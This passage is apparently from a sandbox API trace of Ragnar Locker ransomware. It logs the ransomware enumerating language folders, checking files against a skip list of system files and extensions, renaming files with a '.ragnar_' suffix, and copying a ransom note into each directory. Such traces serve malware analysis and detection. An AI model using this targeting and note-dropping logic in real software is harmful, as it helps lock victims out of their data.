(lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0058.255] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0058.255] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0058.255] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0058.255] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0058.255] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0058.255] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0058.255] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0058.255] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0058.255] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0058.255] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0058.255] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0058.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui")) returned 0x20 [0058.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.257] CloseHandle (hObject=0xffffffff) returned 0 [0058.257] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" [0058.257] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui.ragnar_FD7BD9FC" [0058.257] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.257] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.257] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0058.257] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0058.257] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2=".") returned 1 [0058.257] lstrcmpiW (lpString1="ShapeCollector.exe", lpString2="..") returned 1 [0058.257] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0058.257] lstrcmpiW (lpString1="sk-SK", lpString2=".") returned 1 [0058.257] lstrcmpiW (lpString1="sk-SK", lpString2="..") returned 1 [0058.258] lstrcmpiW (lpString1="sk-SK", lpString2="Windows") returned -1 [0058.258] lstrcmpiW (lpString1="sk-SK", lpString2="Windows.old") returned -1 [0058.258] lstrcmpiW (lpString1="sk-SK", lpString2="Tor browser") returned -1 [0058.258] lstrcmpiW (lpString1="sk-SK", lpString2="Internet Explorer") returned 1 [0058.258] lstrcmpiW (lpString1="sk-SK", lpString2="Google") returned 1 [0058.258] lstrcmpiW (lpString1="sk-SK", lpString2="Opera") returned 1 [0058.258] lstrcmpiW (lpString1="sk-SK", lpString2="Opera Software") returned 1 [0058.258] lstrcmpiW (lpString1="sk-SK", lpString2="Mozilla") returned 1 [0058.258] lstrcmpiW (lpString1="sk-SK", lpString2="Mozilla Firefox") returned 1 [0058.258] lstrcmpiW (lpString1="sk-SK", lpString2="$Recycle.Bin") returned 1 [0058.258] lstrcmpiW (lpString1="sk-SK", lpString2="ProgramData") returned 1 [0058.258] lstrcmpiW (lpString1="sk-SK", lpString2="All Users") returned 1 [0058.258] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.258] lstrcpyW (in: lpString1=0x1eb62e, lpString2="sk-SK" | out: lpString1="sk-SK") returned="sk-SK" [0058.258] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\" [0058.258] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\" [0058.258] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\RGNR_FD7BD9FC.txt" [0058.259] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0058.262] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*.*" [0058.262] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.262] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.262] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.262] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74f8cde0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74f8cde0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0058.262] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0058.262] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74f8cde0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74f8cde0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.262] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0058.262] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0058.262] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74f8cde0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x74f8cde0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.262] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0058.262] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0058.262] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.263] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0058.263] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0058.263] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.263] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0058.263] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74f8cde0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74f8cde0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0058.263] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74f8cde0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74f8cde0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.263] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74f8cde0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x74f8cde0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.263] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.263] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0058.263] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\RGNR_FD7BD9FC.txt") returned=".txt" [0058.263] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0058.263] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.263] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.263] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0058.263] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui") returned=".mui" [0058.263] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0058.263] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0058.263] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0058.264] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0058.264] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0058.264] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0058.264] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0058.264] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0058.264] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0058.264] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0058.264] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0058.264] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0058.264] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0058.264] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0058.264] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0058.264] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0058.264] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0058.264] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0058.264] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0058.264] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0058.264] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0058.264] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0058.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui")) returned 0x20 [0058.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.265] CloseHandle (hObject=0xffffffff) returned 0 [0058.265] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" [0058.265] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui.ragnar_FD7BD9FC" [0058.265] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.265] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.265] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0058.265] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0058.265] lstrcmpiW (lpString1="sl-SI", lpString2=".") returned 1 [0058.265] lstrcmpiW (lpString1="sl-SI", lpString2="..") returned 1 [0058.265] lstrcmpiW (lpString1="sl-SI", lpString2="Windows") returned -1 [0058.265] lstrcmpiW (lpString1="sl-SI", lpString2="Windows.old") returned -1 [0058.265] lstrcmpiW (lpString1="sl-SI", lpString2="Tor browser") returned -1 [0058.265] lstrcmpiW (lpString1="sl-SI", lpString2="Internet Explorer") returned 1 [0058.265] lstrcmpiW (lpString1="sl-SI", lpString2="Google") returned 1 [0058.265] lstrcmpiW (lpString1="sl-SI", lpString2="Opera") returned 1 [0058.265] lstrcmpiW (lpString1="sl-SI", lpString2="Opera Software") returned 1 [0058.266] lstrcmpiW (lpString1="sl-SI", lpString2="Mozilla") returned 1 [0058.266] lstrcmpiW (lpString1="sl-SI", lpString2="Mozilla Firefox") returned 1 [0058.266] lstrcmpiW (lpString1="sl-SI", lpString2="$Recycle.Bin") returned 1 [0058.266] lstrcmpiW (lpString1="sl-SI", lpString2="ProgramData") returned 1 [0058.266] lstrcmpiW (lpString1="sl-SI", lpString2="All Users") returned 1 [0058.266] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.266] lstrcpyW (in: lpString1=0x1eb62e, lpString2="sl-SI" | out: lpString1="sl-SI") returned="sl-SI" [0058.266] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\" [0058.266] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\" [0058.266] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\RGNR_FD7BD9FC.txt" [0058.266] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0058.269] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*.*" [0058.269] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.269] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.269] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.269] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74f8cde0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74f8cde0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0058.269] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0058.269] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74f8cde0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74f8cde0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.269] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0058.269] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0058.269] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74f8cde0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x74f8cde0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.269] 